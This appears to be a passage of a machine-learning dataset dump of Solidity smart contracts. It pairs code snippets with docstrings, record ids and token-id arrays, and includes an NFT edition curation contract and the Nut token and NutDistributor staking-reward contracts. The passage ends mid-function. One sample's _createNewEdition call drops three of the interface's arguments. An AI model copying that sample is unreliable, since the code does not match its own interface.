-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.4.24;
import "openzeppelin-solidity/contracts/ownership/Ownable.sol";
import "openzeppelin-solidity/contracts/lifecycle/Pausable.sol";
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
import "./SelfServiceAccessControls.sol";
interface IKODAV2SelfServiceEditionCuration {
function createActiveEdition(
uint256 _editionNumber,
bytes32 _editionData,
uint256 _editionType,
uint256 _startDate,
uint256 _endDate,
address _artistAccount,
uint256 _artistCommission,
uint256 _priceInWei,
string _tokenUri,
uint256 _totalAvailable
) external returns (bool);
function artistsEditions(address _artistsAccount) external returns (uint256[1] _editionNumbers);
function totalAvailableEdition(uint256 _editionNumber) external returns (uint256);
function highestEditionNumber() external returns (uint256);
}
interface IKODAAuction {
function setArtistsControlAddressAndEnabledEdition(uint256 _editionNumber, address _address) external;
}
// One invocation per time-period
contract SelfServiceEditionCurationV3 is Ownable, Pausable {
using SafeMath for uint256;
event SelfServiceEditionCreated(
uint256 indexed _editionNumber,
address indexed _creator,
uint256 _priceInWei,
uint256 _totalAvailable,
bool _enableAuction
);
// Calling address
IKODAV2SelfServiceEditionCuration public kodaV2;
IKODAAuction public auction;
SelfServiceAccessControls public accessControls;
// Default artist commission
uint256 public artistCommission = 85;
// Config which enforces editions to not be over this size
uint256 public maxEditionSize = 100;
// Config the minimum price per edition
uint256 public minPricePerEdition = 0.01 ether;
// frozen out for..
uint256 public freezeWindow = 1 days;
// When the current time period started
mapping(address => uint256) public frozenTil;
/**
* @dev Construct a new instance of the contract
*/
constructor(
IKODAV2SelfServiceEditionCuration _kodaV2,
IKODAAuction _auction,
SelfServiceAccessControls _accessControls
) public {
kodaV2 = _kodaV2;
auction = _auction;
accessControls = _accessControls;
}
/**
* @dev Called by artists, create new edition on the KODA platform
*/
function createEdition(
uint256 _totalAvailable,
uint256 _priceInWei,
uint256 _startDate,
string _tokenUri,
bool _enableAuction
)
public
whenNotPaused
returns (uint256 _editionNumber)
{
require(!_isFrozen(msg.sender), 'Sender currently frozen out of creation');
frozenTil[msg.sender] = block.timestamp.add(freezeWindow);
return _createEdition(msg.sender, _totalAvailable, _priceInWei, _startDate, _tokenUri, _enableAuction);
}
/**
* @dev Caller by owner, can create editions for other artists
* @dev Only callable from owner regardless of pause state
*/
function createEditionFor(
address _artist,
uint256 _totalAvailable,
uint256 _priceInWei,
uint256 _startDate,
string _tokenUri,
bool _enableAuction
)
public
onlyOwner
returns (uint256 _editionNumber)
{
return _createEdition(_artist, _totalAvailable, _priceInWei, _startDate, _tokenUri, _enableAuction);
}
/**
* @dev Internal function for edition creation
*/
function _createEdition(
address _artist,
uint256 _totalAvailable,
uint256 _priceInWei,
uint256 _startDate,
string _tokenUri,
bool _enableAuction
)
internal
returns (uint256 _editionNumber){
// Enforce edition size
require(_totalAvailable > 0, "Must be at least one available in edition");
require(_totalAvailable <= maxEditionSize, "Must not exceed max edition size");
// Enforce min price
require(_priceInWei >= minPricePerEdition, "Price must be greater than minimum");
// If we are the owner, skip this artists check
if (msg.sender != owner) {
// Enforce who can call this
if (!accessControls.openToAllArtist()) {
require(accessControls.allowedArtists(_artist), "Only allowed artists can create editions for now");
}
}
// Find the next edition number we can use
uint256 editionNumber = getNextAvailableEditionNumber();
// Attempt to create a new edition
require(
_createNewEdition(editionNumber, _artist, _totalAvailable, _priceInWei, _startDate, _tokenUri),
"Failed to create new edition"
);
// Enable the auction if desired
if (_enableAuction) {
auction.setArtistsControlAddressAndEnabledEdition(editionNumber, _artist);
}
// Trigger event
emit SelfServiceEditionCreated(editionNumber, _artist, _priceInWei, _totalAvailable, _enableAuction);
return editionNumber;
}
/**
* @dev Internal function for calling external create methods with some none configurable defaults
*/
function _createNewEdition(
uint256 _editionNumber,
address _artist,
uint256 _totalAvailable,
uint256 _priceInWei,
uint256 _startDate,
string _tokenUri
)
internal
returns (bool) {
return kodaV2.createActiveEdition(
_editionNumber,
0x0, // _editionData - no edition data
1, // _editionType - KODA always type 1
_startDate,
0, // _endDate - 0 = MAX unit256
_artist,
artistCommission,
_priceInWei,
_tokenUri,
_totalAvailable
);
}
/**
* @dev Internal function for checking is an account is frozen out yet
*/
function _isFrozen(address account) internal view returns (bool) {
return (block.timestamp < frozenTil[account]);
}
/**
* @dev Internal function for dynamically generating the next KODA edition number
*/
function getNextAvailableEditionNumber() internal returns (uint256 editionNumber) {
// Get current highest edition and total in the edition
uint256 highestEditionNumber = kodaV2.highestEditionNumber();
uint256 totalAvailableEdition = kodaV2.totalAvailableEdition(highestEditionNumber);
// Add the current highest plus its total, plus 1 as tokens start at 1 not zero
uint256 nextAvailableEditionNumber = highestEditionNumber.add(totalAvailableEdition).add(1);
// Round up to next 100, 1000 etc based on max allowed size
return ((nextAvailableEditionNumber + maxEditionSize - 1) / maxEditionSize) * maxEditionSize;
}
/**
* @dev Sets the KODA address
* @dev Only callable from owner
*/
function setKodavV2(IKODAV2SelfServiceEditionCuration _kodaV2) onlyOwner public {
kodaV2 = _kodaV2;
}
/**
* @dev Sets the KODA auction
* @dev Only callable from owner
*/
function setAuction(IKODAAuction _auction) onlyOwner public {
auction = _auction;
}
/**
* @dev Sets the default commission for each edition
* @dev Only callable from owner
*/
function setArtistCommission(uint256 _artistCommission) onlyOwner public {
artistCommission = _artistCommission;
}
/**
* @dev Sets the max edition size
* @dev Only callable from owner
*/
function setMaxEditionSize(uint256 _maxEditionSize) onlyOwner public {
maxEditionSize = _maxEditionSize;
}
/**
* @dev Sets minimum price per edition
* @dev Only callable from owner
*/
function setMinPricePerEdition(uint256 _minPricePerEdition) onlyOwner public {
minPricePerEdition = _minPricePerEdition;
}
/**
* @dev Sets freeze window
* @dev Only callable from owner
*/
function setFreezeWindow(uint256 _freezeWindow) onlyOwner public {
freezeWindow = _freezeWindow;
}
/**
* @dev Checks to see if the account is currently frozen out
*/
function isFrozen(address account) public view returns (bool) {
return _isFrozen(account);
}
/**
* @dev Checks to see if the account can create editions
*/
function isEnabledForAccount(address account) public view returns (bool) {
return accessControls.isEnabledForAccount(account);
}
/**
* @dev Checks to see if the account can create editions
*/
function canCreateAnotherEdition(address account) public view returns (bool) {
if (!isEnabledForAccount(account)) {
return false;
}
return !_isFrozen(account);
}
/**
* @dev Allows for the ability to extract stuck ether
* @dev Only callable from owner
*/
function withdrawStuckEther(address _withdrawalAccount) onlyOwner public {
require(_withdrawalAccount != address(0), "Invalid address provided");
_withdrawalAccount.transfer(address(this).balance);
}
}
| * @dev Internal function for calling external create methods with some none configurable defaults/ | function _createNewEdition(
uint256 _editionNumber,
address _artist,
uint256 _totalAvailable,
uint256 _priceInWei,
uint256 _startDate,
string _tokenUri
)
internal
returns (bool) {
return kodaV2.createActiveEdition(
_editionNumber,
_startDate,
_artist,
artistCommission,
_priceInWei,
_tokenUri,
_totalAvailable
);
}
| 966,330 | [
1,
3061,
445,
364,
4440,
3903,
752,
2590,
598,
2690,
6555,
14593,
3467,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
389,
2640,
1908,
41,
1460,
12,
203,
565,
2254,
5034,
389,
329,
608,
1854,
16,
203,
565,
1758,
389,
25737,
16,
203,
565,
2254,
5034,
389,
4963,
5268,
16,
203,
565,
2254,
5034,
389,
8694,
382,
3218,
77,
16,
203,
565,
2254,
5034,
389,
1937,
1626,
16,
203,
565,
533,
389,
2316,
3006,
203,
225,
262,
203,
225,
2713,
203,
225,
1135,
261,
6430,
13,
288,
203,
565,
327,
417,
21319,
58,
22,
18,
2640,
3896,
41,
1460,
12,
203,
1377,
389,
329,
608,
1854,
16,
203,
1377,
389,
1937,
1626,
16,
203,
1377,
389,
25737,
16,
203,
1377,
15469,
799,
3951,
16,
203,
1377,
389,
8694,
382,
3218,
77,
16,
203,
1377,
389,
2316,
3006,
16,
203,
1377,
389,
4963,
5268,
203,
565,
11272,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/43113/0xeA705845cA98ab9842Da3bB83F8DF254A9b0eCBc/sources/contracts/TDGStakingPool.sol | dtDaoNft = _dtDaoNft; | constructor(IERC20 _tdg) public {
detectivesGuild = _tdg;
owner = msg.sender;
}
| 7,120,511 | [
1,
7510,
11412,
50,
1222,
273,
389,
7510,
11412,
50,
1222,
31,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
202,
12316,
12,
45,
654,
39,
3462,
389,
4465,
75,
13,
1071,
288,
203,
202,
202,
16518,
3606,
43,
680,
273,
389,
4465,
75,
31,
203,
202,
202,
8443,
273,
1234,
18,
15330,
31,
203,
202,
97,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0x8cF38B286C15f43781f30D2d00Ec6b7Eb68C6dFA/sources/NFTContract.sol | account, token_id, number | {
_mint(msg.sender, 1, 1, "");
_mint(msg.sender, 2, 1, "");
_mint(msg.sender, 3, 1, "");
_mint(msg.sender, 4, 1, "");
_mint(msg.sender, 5, 1, "");
_mint(msg.sender, 6, 1, "");
_mint(msg.sender, 7, 1, "");
_mint(msg.sender, 8, 1, "");
_mint(msg.sender, 9, 1, "");
_mint(msg.sender, 10, 1, "");
}
| 877,114 | [
1,
4631,
16,
1147,
67,
350,
16,
1300,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
288,
203,
3639,
389,
81,
474,
12,
3576,
18,
15330,
16,
404,
16,
404,
16,
1408,
1769,
203,
67,
81,
474,
12,
3576,
18,
15330,
16,
576,
16,
404,
16,
1408,
1769,
203,
67,
81,
474,
12,
3576,
18,
15330,
16,
890,
16,
404,
16,
1408,
1769,
203,
67,
81,
474,
12,
3576,
18,
15330,
16,
1059,
16,
404,
16,
1408,
1769,
203,
67,
81,
474,
12,
3576,
18,
15330,
16,
1381,
16,
404,
16,
1408,
1769,
203,
67,
81,
474,
12,
3576,
18,
15330,
16,
1666,
16,
404,
16,
1408,
1769,
203,
67,
81,
474,
12,
3576,
18,
15330,
16,
2371,
16,
404,
16,
1408,
1769,
203,
67,
81,
474,
12,
3576,
18,
15330,
16,
1725,
16,
404,
16,
1408,
1769,
203,
67,
81,
474,
12,
3576,
18,
15330,
16,
2468,
16,
404,
16,
1408,
1769,
203,
67,
81,
474,
12,
3576,
18,
15330,
16,
1728,
16,
404,
16,
1408,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
contract Migrations {
address public owner = msg.sender;
uint public last_completed_migration;
modifier restricted() {
require(
msg.sender == owner,
"This function is restricted to the contract's owner"
);
_;
}
function setCompleted(uint completed) external restricted {
last_completed_migration = completed;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./interfaces/INut.sol";
import "./lib/Governable.sol";
contract Nut is ERC20, Governable, INut {
using SafeMath for uint;
address public distributor;
uint public constant MAX_TOKENS = 1000000 ether; // total amount of NUT tokens
uint public constant SINK_FUND = 200000 ether; // 20% of tokens goes to sink fund
constructor (string memory name, string memory symbol, address sinkAddr) ERC20(name, symbol) {
_mint(sinkAddr, SINK_FUND);
__Governable__init();
}
/// @dev Set the new distributor
function setNutDistributor(address addr) external onlyGov {
distributor = addr;
}
/// @dev Mint nut tokens to receipt
function mint(address receipt, uint256 amount) external override {
require(msg.sender == distributor, "must be called by distributor");
require(amount.add(this.totalSupply()) < MAX_TOKENS, "cannot mint more than MAX_TOKENS");
_mint(receipt, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface INut {
function mint(address receipt, uint amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "@openzeppelin/contracts/proxy/Initializable.sol";
contract Governable is Initializable {
address public governor;
address public pendingGovernor;
modifier onlyGov() {
require(msg.sender == governor, 'bad gov');
_;
}
function __Governable__init() internal initializer {
governor = msg.sender;
}
function __Governable__init(address _governor) internal initializer {
governor = _governor;
}
/// @dev Set the pending governor, which will be the governor once accepted.
/// @param addr The address of the pending governor.
function setPendingGovernor(address addr) external onlyGov {
pendingGovernor = addr;
}
/// @dev Accept to become the new governor. Must be called by the pending governor.
function acceptGovernor() external {
require(msg.sender == pendingGovernor, 'no pend');
pendingGovernor = address(0);
governor = msg.sender;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./interfaces/INutDistributor.sol";
import "./interfaces/INut.sol";
import "./interfaces/IPriceOracle.sol";
import "./lib/Governable.sol";
/*
This contract distributes nut tokens based on staking unstaking during
the staking period. It generates an array of "value times blocks" for
each token/lender pair and "total value times block" for each token.
It then distributes the rewards across the array.
One issue is that each unstake/stake requires a calculation to
determine the fraction of the pool owned by a lender. To avoid having
to loop across all epochs and use up gas, this algorithm relies on the
fact that all future epochs have the same value. So the vtb and
totalVtb arrays keep an index of the last epoch in which there was a
partial stake and unstake of tokens and then the epochs beyond that
all of the same value which is stored in futureVtbMap and
futureTotalVtbMap.
*/
contract NutDistributor is Governable, INutDistributor {
using SafeMath for uint;
using SafeERC20 for IERC20;
struct Echo {
uint id;
uint endBlock;
uint amount;
}
address public nutmeg;
address public nut;
address public oracle;
uint public constant MAX_NUM_POOLS = 256;
uint public DIST_START_BLOCK; // starting block of echo 0
uint public constant NUM_EPOCH = 15; // # of epochs
uint public BLOCKS_PER_EPOCH; // # of blocks per epoch
uint public constant DIST_START_AMOUNT = 250000 ether; // # of tokens distributed at epoch 0
uint public constant DIST_MIN_AMOUNT = 18750 ether; // min # of tokens distributed at any epoch
uint public CURRENT_EPOCH;
mapping(address => bool) addedPoolMap;
address[] public pools;
mapping(uint => Echo) public echoMap;
mapping(uint => bool) public distCompletionMap;
// the term vtb is short for value times blocks
mapping(address => uint[15]) public totalVtbMap; // pool => total vtb, i.e., valueTimesBlocks.
mapping(address => uint[15]) public totalNutMap; // pool => total Nut awarded.
mapping(address => mapping( address => uint[15] ) ) public vtbMap; // pool => lender => vtb.
mapping(address => uint) futureTotalVtbMap;
mapping(address => mapping( address => uint) ) futureVtbMap;
mapping(address => uint) futureTotalVtbEpoch;
mapping(address => mapping( address => uint) ) futureVtbEpoch;
modifier onlyNutmeg() {
require(msg.sender == nutmeg, 'only nutmeg can call');
_;
}
/// @dev Set the Nutmeg
function setNutmegAddress(address addr) external onlyGov {
nutmeg = addr;
}
/// @dev Set the oracle
function setPriceOracle(address addr) external onlyGov {
oracle = addr;
}
function initialize(address nutAddr, address _governor) public initializer{
nut = nutAddr;
DIST_START_BLOCK = block.number;
BLOCKS_PER_EPOCH = 80640;
__Governable__init(_governor);
// config echoMap which indicates how many tokens will be distributed at each epoch
for (uint i = 0; i < NUM_EPOCH; i++) {
Echo storage echo = echoMap[i];
echo.id = i;
echo.endBlock = DIST_START_BLOCK.add(BLOCKS_PER_EPOCH.mul(i.add(1)));
uint amount = DIST_START_AMOUNT.div(i.add(1));
if (amount < DIST_MIN_AMOUNT) {
amount = DIST_MIN_AMOUNT;
}
echo.amount = amount;
}
}
function inNutDistribution() external override view returns(bool) {
return (block.number >= DIST_START_BLOCK && block.number < DIST_START_BLOCK.add(BLOCKS_PER_EPOCH.mul(NUM_EPOCH)));
}
/// @notice Update valueTimesBlocks of pools and the lender when they stake or unstake
/// @param token Base token of the pool.
/// @param lender Address of the lender.
/// @param incAmount to stake or unstake
/// @param decAmount false=subtract/unstake true=add/stake
function updateVtb(address token, address lender, uint incAmount, uint decAmount) external override onlyNutmeg {
require(block.number >= DIST_START_BLOCK, 'updateVtb: invalid block number');
require(incAmount == 0 || decAmount == 0, 'updateVtb: update amount is invalid');
uint amount = incAmount.add(decAmount);
require(amount > 0, 'updateVtb: update amount should be positive');
// get current epoch
CURRENT_EPOCH = (block.number.sub(DIST_START_BLOCK)).div(BLOCKS_PER_EPOCH);
if (CURRENT_EPOCH >= NUM_EPOCH) return;
_fillVtbGap(token, lender);
_fillTotalVtbGap(token);
uint dv = echoMap[CURRENT_EPOCH].endBlock.sub( block.number ).mul(amount);
uint epochDv = BLOCKS_PER_EPOCH.mul(amount);
if (incAmount > 0) {
vtbMap[token][lender][CURRENT_EPOCH] = vtbMap[token][lender][CURRENT_EPOCH].add(dv);
totalVtbMap[token][CURRENT_EPOCH] = totalVtbMap[token][CURRENT_EPOCH].add(dv);
futureVtbMap[token][lender] = futureVtbMap[token][lender].add(epochDv);
futureTotalVtbMap[token] = futureTotalVtbMap[token].add(epochDv);
} else {
vtbMap[token][lender][CURRENT_EPOCH] = vtbMap[token][lender][CURRENT_EPOCH].sub(dv);
totalVtbMap[token][CURRENT_EPOCH] = totalVtbMap[token][CURRENT_EPOCH].sub(dv);
futureVtbMap[token][lender] = futureVtbMap[token][lender].sub(epochDv);
futureTotalVtbMap[token] = futureTotalVtbMap[token].sub(epochDv);
}
if (!addedPoolMap[token]) {
pools.push(token);
addedPoolMap[token] = true;
}
}
// @dev This function fills the array between the last epoch at which things were calculated and the current epoch.
function _fillVtbGap(address token, address lender) internal {
if (futureVtbEpoch[token][lender] > CURRENT_EPOCH || CURRENT_EPOCH >= NUM_EPOCH ) return;
uint futureVtb = futureVtbMap[token][lender];
for (uint i = futureVtbEpoch[token][lender]; i <= CURRENT_EPOCH; i++) {
vtbMap[token][lender][i] = futureVtb;
}
futureVtbEpoch[token][lender] = CURRENT_EPOCH.add(1);
}
// @dev This function fills the array between the last epoch at which things were calculated and the current epoch.
function _fillTotalVtbGap(address token) internal {
if (futureTotalVtbEpoch[token] > CURRENT_EPOCH || CURRENT_EPOCH >= NUM_EPOCH ) return;
uint futureTotalVtb = futureTotalVtbMap[token];
for (uint i = futureTotalVtbEpoch[token]; i <= CURRENT_EPOCH; i++) {
totalVtbMap[token][i] = futureTotalVtb;
}
futureTotalVtbEpoch[token] = CURRENT_EPOCH.add(1);
}
/// @dev Distribute NUT tokens for the previous epoch
function distribute() external onlyGov {
require(oracle != address(0), 'distribute: no oracle available');
// get current epoch
uint currEpochId = (block.number.sub(DIST_START_BLOCK)).div(BLOCKS_PER_EPOCH);
require(currEpochId > 0, 'distribute: nut token distribution not ready');
require(currEpochId < NUM_EPOCH.add(1), 'distribute: nut token distribution is over');
// distribute the nut tokens for the previous epoch.
uint prevEpochId = currEpochId.sub(1);
require(!distCompletionMap[prevEpochId], 'distribute: distribution is completed');
// mint nut tokens
uint amount = echoMap[prevEpochId].amount;
INut(nut).mint(address(this), amount);
uint numOfPools = pools.length < MAX_NUM_POOLS ? pools.length : MAX_NUM_POOLS;
uint sumOfDv;
uint actualSumOfNut;
for (uint i = 0; i < numOfPools; i++) {
uint price = IPriceOracle(oracle).getPrice(pools[i]);
uint dv = price.mul(getTotalVtb(pools[i],prevEpochId));
sumOfDv = sumOfDv.add(dv);
}
if (sumOfDv > 0) {
for (uint i = 0; i < numOfPools; i++) {
uint price = IPriceOracle(oracle).getPrice(pools[i]);
uint dv = price.mul(getTotalVtb(pools[i], prevEpochId));
uint nutAmount = dv.mul(amount).div(sumOfDv);
actualSumOfNut = actualSumOfNut.add(nutAmount);
totalNutMap[pools[i]][prevEpochId] = nutAmount;
}
}
require(actualSumOfNut <= amount, "distribute: overflow");
distCompletionMap[prevEpochId] = true;
}
/// @dev Collect Nut tokens
function collect() external {
uint epochId = (block.number.sub(DIST_START_BLOCK)).div(BLOCKS_PER_EPOCH);
require(epochId > 0, 'collect: distribution is completed');
address lender = msg.sender;
uint numOfPools = pools.length < MAX_NUM_POOLS ? pools.length : MAX_NUM_POOLS;
uint totalAmount;
for (uint i = 0; i < numOfPools; i++) {
address pool = pools[i];
for (uint j = 0; j < epochId && j < NUM_EPOCH; j++) {
uint vtb = getVtb(pool, lender, j);
if (vtb > 0 && getTotalVtb(pool, j) > 0) {
uint amount = vtb.mul(totalNutMap[pool][j]).div(getTotalVtb(pool, j));
totalAmount = totalAmount.add(amount);
vtbMap[pool][lender][j] = 0;
}
}
}
if (totalAmount > 0) {
require(
IERC20(nut).approve(address(this), 0),
'distributor approve failed'
);
require(
IERC20(nut).approve(address(this), totalAmount),
'NutDist approve amount failed'
);
require(
